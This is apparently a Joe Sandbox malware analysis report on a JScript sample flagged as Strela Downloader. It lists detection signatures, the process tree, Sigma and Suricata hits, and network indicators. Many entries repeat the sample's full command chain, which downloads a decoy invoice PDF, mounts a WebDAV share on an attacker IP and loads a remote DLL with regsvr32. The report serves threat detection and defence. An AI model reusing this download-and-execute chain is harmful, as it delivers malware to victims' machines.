Edit tour

Windows Analysis Report
16529230753138817875.js

Overview

General Information

Sample name:	16529230753138817875.js
Analysis ID:	1588225
MD5:	3f9e5703698c9710aeda33e79d03c393
SHA1:	b63c3bce754544bdda25fd2fc85b146ec4e93b04
SHA256:	941224dfdd46f87ab2702df853febf03fa949127c0aaf2aa5c95a12fa1071e23
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7692 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7784 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7832 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7316 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5736 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1528,i,14731378578711747176,15541432942492927159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8040 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8056 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 848 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7692	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7832, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7832, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ProcessId: 7692, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8056, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49788

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7692, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ProcessId: 7784, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7692, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ProcessId: 7784, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7692, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ProcessId: 7784, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7692, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ProcessId: 7784, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7692, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ProcessId: 7784, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ProcessId: 7692, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7784, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7832, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8040, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8056, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 848, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8040, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8056, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7692, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll, ProcessId: 7784, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:50:39.957093+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49788	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:50:36.654376+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49765	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 16529230753138817875.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16529230753138817875.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16529230753138817875.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49788 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:50:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49788

Source: global traffic

TCP traffic: 192.168.2.9:49788 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

